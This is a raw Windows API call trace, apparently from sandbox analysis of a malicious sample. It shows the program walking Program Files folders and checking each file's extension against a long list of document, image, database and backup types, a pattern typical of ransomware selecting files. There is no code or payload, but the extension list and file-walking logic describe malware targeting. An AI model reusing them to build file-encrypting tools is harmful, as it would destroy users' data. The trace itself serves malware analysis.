	[0180.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0180.763] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.763] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0180.764] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0180.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.764] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0180.764] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b148c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0180.764] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2f0d0100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0180.764] lstrlenW (lpString="wmplayer.exe") returned 12
	[0180.764] lstrlenW (lpString=".1cd") returned 4
	[0180.764] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0180.764] lstrlenW (lpString=".3ds") returned 4
	[0180.764] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".3fr") returned 4
	[0180.765] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".3g2") returned 4
	[0180.765] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".3gp") returned 4
	[0180.765] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".7z") returned 3
	[0180.765] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0180.765] lstrlenW (lpString=".accda") returned 6
	[0180.765] lstrcmpiW (lpString1=".accda", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".accdb") returned 6
	[0180.765] lstrcmpiW (lpString1=".accdb", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".accdc") returned 6
	[0180.765] lstrcmpiW (lpString1=".accdc", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".accde") returned 6
	[0180.765] lstrcmpiW (lpString1=".accde", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".accdt") returned 6
	[0180.765] lstrcmpiW (lpString1=".accdt", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".accdw") returned 6
	[0180.765] lstrcmpiW (lpString1=".accdw", lpString2="er.exe") returned -1
	[0180.765] lstrlenW (lpString=".adb") returned 4
	[0180.765] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".adp") returned 4
	[0180.765] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0180.765] lstrlenW (lpString=".ai") returned 3
	[0180.766] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0180.766] lstrlenW (lpString=".ai3") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".ai4") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".ai5") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".ai6") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".ai7") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".ai8") returned 4
	[0180.766] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".anim") returned 5
	[0180.766] lstrcmpiW (lpString1=".anim", lpString2="r.exe") returned -1
	[0180.766] lstrlenW (lpString=".arw") returned 4
	[0180.766] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0180.766] lstrlenW (lpString=".as") returned 3
	[0180.766] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0180.766] lstrlenW (lpString=".asa") returned 4
	[0180.767] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".asc") returned 4
	[0180.767] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".ascx") returned 5
	[0180.767] lstrcmpiW (lpString1=".ascx", lpString2="r.exe") returned -1
	[0180.767] lstrlenW (lpString=".asm") returned 4
	[0180.767] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".asmx") returned 5
	[0180.767] lstrcmpiW (lpString1=".asmx", lpString2="r.exe") returned -1
	[0180.767] lstrlenW (lpString=".asp") returned 4
	[0180.767] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".aspx") returned 5
	[0180.767] lstrcmpiW (lpString1=".aspx", lpString2="r.exe") returned -1
	[0180.767] lstrlenW (lpString=".asr") returned 4
	[0180.767] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".asx") returned 4
	[0180.767] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".avi") returned 4
	[0180.767] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".avs") returned 4
	[0180.767] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0180.767] lstrlenW (lpString=".backup") returned 7
	[0180.767] lstrcmpiW (lpString1=".backup", lpString2="yer.exe") returned -1
	[0180.767] lstrlenW (lpString=".bak") returned 4
	[0180.768] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".bay") returned 4
	[0180.768] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".bd") returned 3
	[0180.768] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0180.768] lstrlenW (lpString=".bin") returned 4
	[0180.768] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".bmp") returned 4
	[0180.768] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".bz2") returned 4
	[0180.768] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".c") returned 2
	[0180.768] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0180.768] lstrlenW (lpString=".cdr") returned 4
	[0180.768] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".cer") returned 4
	[0180.768] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0180.768] lstrlenW (lpString=".cf") returned 3
	[0180.768] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0180.768] lstrlenW (lpString=".cfc") returned 4
	[0180.769] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".cfm") returned 4
	[0180.769] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".cfml") returned 5
	[0180.769] lstrcmpiW (lpString1=".cfml", lpString2="r.exe") returned -1
	[0180.769] lstrlenW (lpString=".cfu") returned 4
	[0180.769] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".chm") returned 4
	[0180.769] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".cin") returned 4
	[0180.769] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".class") returned 6
	[0180.769] lstrcmpiW (lpString1=".class", lpString2="er.exe") returned -1
	[0180.769] lstrlenW (lpString=".clx") returned 4
	[0180.769] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".config") returned 7
	[0180.769] lstrcmpiW (lpString1=".config", lpString2="yer.exe") returned -1
	[0180.769] lstrlenW (lpString=".cpp") returned 4
	[0180.769] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".cr2") returned 4
	[0180.769] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".crt") returned 4
	[0180.769] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0180.769] lstrlenW (lpString=".crw") returned 4
	[0180.770] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".cs") returned 3
	[0180.770] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0180.770] lstrlenW (lpString=".css") returned 4
	[0180.770] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".csv") returned 4
	[0180.770] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".cub") returned 4
	[0180.770] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dae") returned 4
	[0180.770] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dat") returned 4
	[0180.770] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".db") returned 3
	[0180.770] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0180.770] lstrlenW (lpString=".dbf") returned 4
	[0180.770] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dbx") returned 4
	[0180.770] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dc3") returned 4
	[0180.770] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dcm") returned 4
	[0180.770] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0180.770] lstrlenW (lpString=".dcr") returned 4
	[0180.770] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".der") returned 4
	[0180.771] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".dib") returned 4
	[0180.771] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".dic") returned 4
	[0180.771] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".dif") returned 4
	[0180.771] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".divx") returned 5
	[0180.771] lstrcmpiW (lpString1=".divx", lpString2="r.exe") returned -1
	[0180.771] lstrlenW (lpString=".djvu") returned 5
	[0180.771] lstrcmpiW (lpString1=".djvu", lpString2="r.exe") returned -1
	[0180.771] lstrlenW (lpString=".dng") returned 4
	[0180.771] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".doc") returned 4
	[0180.771] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".docm") returned 5
	[0180.771] lstrcmpiW (lpString1=".docm", lpString2="r.exe") returned -1
	[0180.771] lstrlenW (lpString=".docx") returned 5
	[0180.771] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0180.771] lstrlenW (lpString=".dot") returned 4
	[0180.771] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0180.771] lstrlenW (lpString=".dotm") returned 5
	[0180.771] lstrcmpiW (lpString1=".dotm", lpString2="r.exe") returned -1
	[0180.772] lstrlenW (lpString=".dotx") returned 5
	[0180.772] lstrcmpiW (lpString1=".dotx", lpString2="r.exe") returned -1
	[0180.772] lstrlenW (lpString=".dpx") returned 4
	[0180.772] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dqy") returned 4
	[0180.772] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dsn") returned 4
	[0180.772] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dt") returned 3
	[0180.772] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0180.772] lstrlenW (lpString=".dtd") returned 4
	[0180.772] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dwg") returned 4
	[0180.772] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dwt") returned 4
	[0180.772] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".dx") returned 3
	[0180.772] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0180.772] lstrlenW (lpString=".dxf") returned 4
	[0180.772] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".edml") returned 5
	[0180.772] lstrcmpiW (lpString1=".edml", lpString2="r.exe") returned -1
	[0180.772] lstrlenW (lpString=".efd") returned 4
	[0180.772] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0180.772] lstrlenW (lpString=".elf") returned 4
	[0180.773] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".emf") returned 4
	[0180.773] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".emz") returned 4
	[0180.773] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".epf") returned 4
	[0180.773] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".eps") returned 4
	[0180.773] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".epsf") returned 5
	[0180.773] lstrcmpiW (lpString1=".epsf", lpString2="r.exe") returned -1
	[0180.773] lstrlenW (lpString=".epsp") returned 5
	[0180.773] lstrcmpiW (lpString1=".epsp", lpString2="r.exe") returned -1
	[0180.773] lstrlenW (lpString=".erf") returned 4
	[0180.773] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0180.773] lstrlenW (lpString=".exr") returned 4
	[0180.773] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0180.773] lstrlenW (lpString=".f4v") returned 4
	[0180.773] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0180.773] lstrlenW (lpString=".fido") returned 5
	[0180.773] lstrcmpiW (lpString1=".fido", lpString2="r.exe") returned -1
	[0180.773] lstrlenW (lpString=".flm") returned 4
	[0180.773] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0180.773] lstrlenW (lpString=".flv") returned 4
	[0180.773] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".frm") returned 4
	[0180.774] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".fxg") returned 4
	[0180.774] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".geo") returned 4
	[0180.774] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".gif") returned 4
	[0180.774] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".grs") returned 4
	[0180.774] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".gz") returned 3
	[0180.774] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0180.774] lstrlenW (lpString=".h") returned 2
	[0180.774] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0180.774] lstrlenW (lpString=".hdr") returned 4
	[0180.774] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".hpp") returned 4
	[0180.774] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".hta") returned 4
	[0180.774] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".htc") returned 4
	[0180.774] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".htm") returned 4
	[0180.774] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0180.774] lstrlenW (lpString=".html") returned 5
	[0180.774] lstrcmpiW (lpString1=".html", lpString2="r.exe") returned -1
	[0180.774] lstrlenW (lpString=".icb") returned 4
	[0180.775] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".ics") returned 4
	[0180.775] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".iff") returned 4
	[0180.775] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".inc") returned 4
	[0180.775] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".indd") returned 5
	[0180.775] lstrcmpiW (lpString1=".indd", lpString2="r.exe") returned -1
	[0180.775] lstrlenW (lpString=".ini") returned 4
	[0180.775] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".iqy") returned 4
	[0180.775] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".j2c") returned 4
	[0180.775] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".j2k") returned 4
	[0180.775] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".java") returned 5
	[0180.775] lstrcmpiW (lpString1=".java", lpString2="r.exe") returned -1
	[0180.775] lstrlenW (lpString=".jp2") returned 4
	[0180.775] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".jpc") returned 4
	[0180.775] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".jpe") returned 4
	[0180.775] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0180.775] lstrlenW (lpString=".jpeg") returned 5
	[0180.776] lstrcmpiW (lpString1=".jpeg", lpString2="r.exe") returned -1
	[0180.776] lstrlenW (lpString=".jpf") returned 4
	[0180.776] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0180.776] lstrlenW (lpString=".jpg") returned 4
	[0180.776] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".jpx") returned 4
	[0180.778] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".js") returned 3
	[0180.778] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0180.778] lstrlenW (lpString=".jsf") returned 4
	[0180.778] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".json") returned 5
	[0180.778] lstrcmpiW (lpString1=".json", lpString2="r.exe") returned -1
	[0180.778] lstrlenW (lpString=".jsp") returned 4
	[0180.778] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".kdc") returned 4
	[0180.778] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".kmz") returned 4
	[0180.778] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".kwm") returned 4
	[0180.778] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0180.778] lstrlenW (lpString=".lasso") returned 6
	[0180.778] lstrcmpiW (lpString1=".lasso", lpString2="er.exe") returned -1
	[0180.778] lstrlenW (lpString=".lbi") returned 4
	[0180.779] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".lgf") returned 4
	[0180.779] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".lgp") returned 4
	[0180.779] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".log") returned 4
	[0180.779] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".m1v") returned 4
	[0180.779] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".m4a") returned 4
	[0180.779] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".m4v") returned 4
	[0180.779] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".max") returned 4
	[0180.779] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".md") returned 3
	[0180.779] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0180.779] lstrlenW (lpString=".mda") returned 4
	[0180.779] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".mdb") returned 4
	[0180.779] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".mde") returned 4
	[0180.779] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0180.779] lstrlenW (lpString=".mdf") returned 4
	[0180.779] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mdw") returned 4
	[0180.780] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mef") returned 4
	[0180.780] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mft") returned 4
	[0180.780] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mfw") returned 4
	[0180.780] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mht") returned 4
	[0180.780] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mhtml") returned 6
	[0180.780] lstrcmpiW (lpString1=".mhtml", lpString2="er.exe") returned -1
	[0180.780] lstrlenW (lpString=".mka") returned 4
	[0180.780] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mkidx") returned 6
	[0180.780] lstrcmpiW (lpString1=".mkidx", lpString2="er.exe") returned -1
	[0180.780] lstrlenW (lpString=".mkv") returned 4
	[0180.780] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mos") returned 4
	[0180.780] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0180.780] lstrlenW (lpString=".mov") returned 4
	[0180.781] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mp3") returned 4
	[0180.781] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mp4") returned 4
	[0180.781] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mpeg") returned 5
	[0180.781] lstrcmpiW (lpString1=".mpeg", lpString2="r.exe") returned -1
	[0180.781] lstrlenW (lpString=".mpg") returned 4
	[0180.781] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mpv") returned 4
	[0180.781] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mrw") returned 4
	[0180.781] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".msg") returned 4
	[0180.781] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".mxl") returned 4
	[0180.781] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".myd") returned 4
	[0180.781] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".myi") returned 4
	[0180.781] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".nef") returned 4
	[0180.781] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0180.781] lstrlenW (lpString=".nrw") returned 4
	[0180.782] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".obj") returned 4
	[0180.782] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".odb") returned 4
	[0180.782] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".odc") returned 4
	[0180.782] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".odm") returned 4
	[0180.782] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".odp") returned 4
	[0180.782] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".ods") returned 4
	[0180.782] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".oft") returned 4
	[0180.782] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".one") returned 4
	[0180.782] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0180.782] lstrlenW (lpString=".onepkg") returned 7
	[0180.782] lstrcmpiW (lpString1=".onepkg", lpString2="yer.exe") returned -1
	[0180.782] lstrlenW (lpString=".onetoc2") returned 8
	[0180.782] lstrcmpiW (lpString1=".onetoc2", lpString2="ayer.exe") returned -1
	[0180.782] lstrlenW (lpString=".opt") returned 4
	[0180.782] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
